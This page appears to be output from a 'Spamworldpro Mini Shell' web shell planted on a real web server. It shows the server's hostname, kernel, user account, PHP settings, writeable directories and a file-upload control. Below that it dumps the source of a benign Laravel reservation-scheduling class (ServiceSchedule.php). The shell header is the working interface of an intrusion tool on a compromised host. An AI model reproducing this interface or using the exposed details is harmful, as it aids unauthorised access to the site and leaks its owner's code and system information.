Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/job-board.corals.io/Corals/modules/Reservation/Classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/job-board.corals.io/Corals/modules/Reservation/Classes/ServiceSchedule.php
<?php

namespace Corals\Modules\Reservation\Classes;

use Corals\Modules\Reservation\Models\Service;
use Corals\Modules\Reservation\Scopes\ActiveReservationScope;
use Illuminate\Support\Arr;
use Illuminate\Support\Carbon;
use Illuminate\Support\Str;
use Corals\Modules\Reservation\Models\Reservation as ReservationModel;

class ServiceSchedule
{
    protected $selectedReservationSessionKey = 'selected_reservations';

    /**
     * @param Service $service
     * @param null $startFromDate
     * @param string $period
     * @return array[]
     */
    public function getFormattedSchedule(Service $service, $startFromDate = null, $period = 'week'): array
    {
        $formattedSchedule = [];

        $startDatePeriod = Carbon::parse($startFromDate)->startOfDay();

        $nextPeriod = $startDatePeriod->copy()->{"add" . Str::studly($period)}()->startOfDay();

        $serviceReservedHours = $this->getServiceReservedHours($service, $startDatePeriod, $nextPeriod);

        while ($startDatePeriod->lt($nextPeriod)) {
            $shortDayName = $startDatePeriod->shortEnglishDayOfWeek;

            $currentSchedule = $this->getDayScheduleObject($service->schedules, $shortDayName);

            if ($this->shouldSkipDay($currentSchedule, $startDatePeriod, $nextPeriod)) {
                continue;
            }

            $slots = $this->getDaySlots($service, $currentSchedule, $startDatePeriod->copy(), $serviceReservedHours);

            $formattedSchedule[] = [
                'short_day_name' => $startDatePeriod->shortDayName,
                'day_name' => $startDatePeriod->dayName,
                'date' => $startDatePeriod->toDateString(),
                'label' => $startDatePeriod->format('j M Y'),
                'slots' => $slots
            ];

            $startDatePeriod->addDay();
        }

        $previous = $this->getPreviousDate($startFromDate, $period, $service);

        return [
            'schedule' => $formattedSchedule,
            'pagination' => [
                'next' => $nextPeriod->copy()->toDateString(),
                'previous' => $previous
            ]
        ];
    }

    /**
     * @param Service $service
     * @param Carbon $startPeriod
     * @param Carbon $endPeriod
     * @return \Illuminate\Database\Eloquent\Collection
     */
    protected function getServiceReservedHours(Service $service, Carbon $startPeriod, Carbon $endPeriod)
    {
        return $service->reservations()
            ->withGlobalScope('active_reservation_scope', new ActiveReservationScope)
            ->where(function ($query) use ($startPeriod, $endPeriod) {
                $query->whereDate('res_reservations.starts_at', '<=', $endPeriod->toDateString());
                $query->whereDate('res_reservations.ends_at', '>=', $startPeriod->toDateString());
            })->get();
    }

    /**
     * @param $startFromDate
     * @param $period
     * @param $service
     * @return mixed
     */
    protected function getPreviousDate($startFromDate, $period, $service)
    {
        //this in case of start day is holiday
        //we should skip this day and take the next
        //and again check the next day if holiday, take the next
        $startDatePeriod = tap(Carbon::parse($startFromDate)->startOfDay(), function (&$startDatePeriod) use ($service) {
            $startDatePeriod = $this->getAppropriateStartDate($service->schedules, $startDatePeriod->copy());
        });

        $nextPeriod = $startDatePeriod->copy()->{"sub" . Str::studly($period)}()->startOfDay();

        if ($startDatePeriod->lte(today())) {
            return null;
        }

        $counter = 0;

        while ($counter <= 7) {

            $shortDayName = $startDatePeriod->shortEnglishDayOfWeek;
            $currentSchedule = $this->getDayScheduleObject($service->schedules, $shortDayName);

            if ($this->shouldSkipDay($currentSchedule, $startDatePeriod, $nextPeriod, 'sub')) {
                continue;
            }

            if ($startDatePeriod->lte($today = today())) {

                $todaySchedule = $this->getDayScheduleObject($service->schedules, $today->shortEnglishDayOfWeek);

                if ($this->isDayHoliday($todaySchedule)) {
                    return null;
                }

                return $today->toDateString();
            }


            $startDatePeriod->subDay();
            $counter++;

        }


        return $nextPeriod->toDateString();

    }

    /**
     * @param $serviceSchedules
     * @param Carbon $startDate
     * @return Carbon
     */
    protected function getAppropriateStartDate($serviceSchedules, Carbon $startDate)
    {
        while (true) {

            if ($this->isDayHoliday($this->getDayScheduleObject($serviceSchedules, $startDate->shortEnglishDayOfWeek))) {
                $startDate->addDay();
            } else {
                return $startDate->copy();
            }

        }
    }

    /**
     * @param $schedule
     * @return bool
     */
    protected function isDayHoliday($schedule): bool
    {
        return is_null($schedule->start_time) || is_null($schedule->end_time);
    }

    /**
     * @param $schedules
     * @param $shortDayName
     * @return mixed
     */
    protected function getDayScheduleObject($schedules, $shortDayName)
    {
        return $schedules->first(function ($object) use ($shortDayName) {
            return $object->day_of_the_week == $shortDayName;
        });
    }

    /**
     * @param $schedule
     * @param $today
     * @param $nextPeriod
     * @param string $method
     * @return bool
     */
    protected function shouldSkipDay($schedule, $today, $nextPeriod, $method = 'add'): bool
    {
        if ($this->isDayHoliday($schedule)) {
            $method = sprintf("%sDay", $method);

            $today->{$method}();
            $nextPeriod->{$method}();
            return true;
        }

        return false;
    }

    /**
     * @param $currentSchedule
     * @return array
     */
    protected function getStartEndHoursMinutesSeconds($currentSchedule): array
    {
        return Arr::flatten([
            $this->explodeTime($currentSchedule->start_time),
            $this->explodeTime($currentSchedule->end_time)
        ]);
    }

    /**
     * @param $time
     * @return array
     */
    protected function explodeTime($time): array
    {
        return explode(':', $time);
    }

    /**
     * @param $currentSchedule
     * @return array
     */
    protected function getStartEndTimeCarbon($currentSchedule): array
    {
        list($startHours, $startMinutes, $startSeconds,
            $endHours, $endMinutes, $endSeconds) = $this->getStartEndHoursMinutesSeconds($currentSchedule);

        return [
            now()->setTime($startHours, $startMinutes, $startSeconds),
            now()->setTime($endHours, $endMinutes, $endSeconds)
        ];
    }

    /**
     * @param $service
     * @param $currentSchedule
     * @param $date
     * @param $serviceReservedHours
     * @return array
     */
    protected function getDaySlots($service, $currentSchedule, $date, $serviceReservedHours): array
    {
        list($startTime, $endTime) = $this->getStartEndTimeCarbon($currentSchedule);

        $slots = [];

        while ($startTime->lte($endTime)) {

            //get starts_at date
            list($startHours, $startMinutes) = $this->explodeTime($startTime->format('H:i:s'));
            $startsAt = $date->copy()->setTime($startHours, $startMinutes);

            $label = $startTime->format('h:i A');

            $startTime->addMinutes($service->slot_in_minutes);

            //get ends_at date
            list($endHours, $endMinutes) = $this->explodeTime($startTime->copy()->format('H:i:s'));
            $endsAt = $date->copy()->setTime($endHours, $endMinutes);


            $slots[] = [
                'label' => $label,
                'status' => $this->getSlotStatus($serviceReservedHours, $startsAt, $service->id),
                'starts_at' => $startsAt->toDateTimeString(),
                'ends_at' => $endsAt->toDateTimeString()
            ];

        }

        return $slots;
    }

    /**
     * @param $serviceReservedHours
     * @param $startsAt
     * @param $serviceId
     * @return string
     */
    protected function getSlotStatus($serviceReservedHours, $startsAt, $serviceId)
    {
        //check if this slot already selected in the session
        if ($this->isReservationAlreadySelected($startsAt, $serviceId)) {
            $status = 'selected';

        } else {
            $status = $serviceReservedHours->where('starts_at', $startsAt)->first()
                ? 'reserved'
                : 'available';
        }

        return $status;
    }

    /**
     * @param $startsAt
     * @param $doctorId
     * @return bool
     */
    protected function isReservationAlreadySelected($startsAt, $serviceId): bool
    {

        if (is_null($selectedReservation = $this->getSelectedReservationFromSession())) {
            return false;
        }

        return (bool)ReservationModel::query()
            ->where('object_type', getMorphAlias(Service::class))
            ->where('object_id', $serviceId)
            ->where('id', $selectedReservation)
            ->where('res_reservations.starts_at', $startsAt)
            ->exists();
    }

    /**
     * @param $reservationId
     */
    public function storeReservationIdInSession($reservationId): void
    {
        session()->put($this->selectedReservationSessionKey, $reservationId);
    }

    /**
     *
     */
    public function clearSelectedReservationFromSession(): void
    {
        session()->forget($this->selectedReservationSessionKey);
    }

    /**
     * @return \Illuminate\Session\SessionManager|\Illuminate\Session\Store|mixed
     */
    public function getSelectedReservationFromSession()
    {
        return session($this->selectedReservationSessionKey);
    }

    /**
     * @param $service
     * @return array
     */
    public function getBusinessHours($service): array
    {
        $c = 0;
        $schedules = $service->schedules;
        $businessHours = [];

        $day = today();
        $todayBusinessHours = $this->getBusinessHoursForDay($schedules, $day, $service);

        while ($c <> 6) {
            $day->addDay();
            $businessHours[] = $this->getBusinessHoursForDay($schedules, $day, $service);
            $c++;
        }

        return [
            $todayBusinessHours, $businessHours
        ];

    }

    /**
     * @param $schedules
     * @param $day
     * @param $service
     * @return array
     */
    protected function getBusinessHoursForDay($schedules, Carbon $day, $service)
    {


        $currentSchedule = $schedules->where('day_of_the_week', $day->shortEnglishDayOfWeek)->first();


        if ($this->isDayHoliday($currentSchedule)) {
            return [
                'working' => false,
                'day_name' => $day->shortDayName,
                'label' => null,
                'is_open' => false
            ];
        }

        list($startTime, $endTime) = $this->getStartEndTimeCarbon($currentSchedule);

        return [
            'working' => true,
            'is_open' => $service->isOpen(),
            'day_name' => $day->shortDayName,
            'label' => sprintf("%s - %s", $startTime->format('h:i A'), $endTime->format('h:i A'))
        ];

    }

    /**
     * @param $service
     * @return mixed
     */
    public function getServiceOffDays($service)
    {
        $daysMap = [
            'Sun' => 0,
            'Mon' => 1,
            'The' => 2,
            'Wed' => 3,
            'Thu' => 4,
            'Fri' => 5,
            'Sat' => 6
        ];

        return $service->schedules->whereNull('start_time')
            ->whereNull('end_time')
            ->pluck('day_of_the_week')
            ->mapWithKeys(function ($day) use ($daysMap) {
                return [$daysMap[$day] => $day];
            })->toArray();
    }
}

Spamworldpro Mini